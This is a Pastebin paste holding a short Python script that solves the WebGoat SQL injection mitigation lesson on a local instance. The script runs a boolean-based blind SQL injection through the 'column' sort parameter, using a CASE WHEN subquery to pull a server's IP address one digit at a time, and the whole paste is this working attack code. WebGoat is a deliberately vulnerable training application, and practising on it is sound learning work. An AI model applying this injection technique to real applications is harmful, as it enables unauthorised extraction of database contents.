Advertisement
Guest User

SQL_MITTIGATION

a guest
May 25th, 2019
90
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.97 KB | None | 0 0
  1. import requests
  2. import json
  3. import string
  4. import time
  5.  
  6.  
  7.  
  8.  
  9. headers = {
  10.     "User-Agent": "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:66.0) Gecko/20100101 Firefox/66.0",
  11.     "Accept": "*/*",
  12.     "Accept-Language": "en-GB,en;q=0.5",
  13.     "Referer": "http://localhost:8080/WebGoat/start.mvc",
  14.     "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
  15.     "X-Requested-With": "XMLHttpRequest",
  16.     "Content-Length": "0",
  17.     "Connection": "keep-alive",
  18.     "Cookie": "JSESSIONID=78BBF34E5F19E8FAE372FAF8C309D279",
  19.     "Host": "localhost:8080"
  20. }
  21.  
  22. ip = ""
  23. for i in range(1,5):
  24.     for digit in string.digits:
  25.         url = f"http://localhost:8080/WebGoat/SqlInjection/servers?column=(case when (select ip from servers where hostname='webgoat-prd' and substr(ip,{i},1) = '{digit}') IS NOT NULL then hostname else id end)"
  26.         r = requests.get(url, headers=headers)
  27.         if r.json()[0]['id'] != '1':
  28.             ip += digit
  29.             break
  30. print(ip)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement